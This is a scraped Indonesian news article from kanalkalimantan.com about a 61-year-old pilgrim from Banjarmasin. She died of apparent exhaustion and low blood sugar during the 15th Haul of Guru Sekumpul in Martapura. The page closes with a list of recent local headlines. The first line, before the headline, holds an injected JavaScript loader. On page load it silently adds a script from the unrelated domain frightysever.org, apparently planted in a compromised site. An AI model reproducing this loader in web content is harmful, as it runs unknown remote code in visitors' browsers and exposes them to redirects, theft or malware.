(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Haul Ke-15 Guru Sekumpul

Sempat Dibawa ke Rumah Sakit, Nenek Aisyah Meninggal Dunia saat Haul 15 Sekumpul


KANALKALIMANTAN.COM, MARTAPURA – Di tengah puncak Haul ke 15 Abah Guru Sekumpul, kabar duka datang dari salah seorang jemaah asal kota Banjarmasin. Adalah Aisyah, nenek usia 61 tahun, wafat saat tengah mengikuti haul di Sekumpul Martapura.

“Kita dapat informasi pukul 23:45 Wita hari Sabtu (29/2/2020) malam, ada seorang ibu berusia 61 tahun asal Banjarmasin yang meninggal di IGD RS Idaman Banjarbaru,” kata Kabid Dokkes Polda Kalsel Kombes dr. Erwinn Zainul Hakim kepada awak media, Minggu (1/3/2020) sore.

Kombes dr. Erwinn menjelaskan, Aisyah sempat menginap di rumah keluarganya yang berada di sekitar Sekumpul guna mengikuti prosesi haul. Namun karena kondisi tubuhnya yang lemas, mengharuskan Aisyah dibawa ke Pos Kesehatan 8 di jalan Pendidikan Martapura.

“Saat di sana pun kondisinya lemas, saat dicek ternyata kadar gulanya rendah,” tambahnya.

Karena kondisinya yang makin tak sadar, Aisyah dirujuk ke RS Idaman Banjarbaru. Rencananya, ia hendak dirujuk lagi ke RSUD Ulin Banjarmasin. “Namun Allah berkata lain, beliau meninggal di IGD RS Idaman Banjarbaru,” katanya.

Kombes dr Erwinn menduga, Aisyah wafat karena kelelahan. Apalagi, dengan cuaca tidak terlalu panas mengakibatkan manusia cenderung tidak mengalami haus. Namun, karena melakukan banyak aktivitas menjadi berkeringat terus menerus, diduga dehidrasi. “Kemungkinan seperti itu. Muter-muter (beraktivitas) tahu-tahu lemas,” lugasnya.

Kombes dr. Erwinn merekomendasikan jemaah untuk menjaga pola istirahat, mencukupi cairan dalam tubuh dan perbanyak mengkonsumsi makanan atau minuman manis. “Jangan khawatir diabetes, apalagi seperti saat haul. Kalau kita khawatir tak minum yang manis-manis malah lemas,” tukasnya. (kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

9 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

9 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

9 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

12 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

18 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.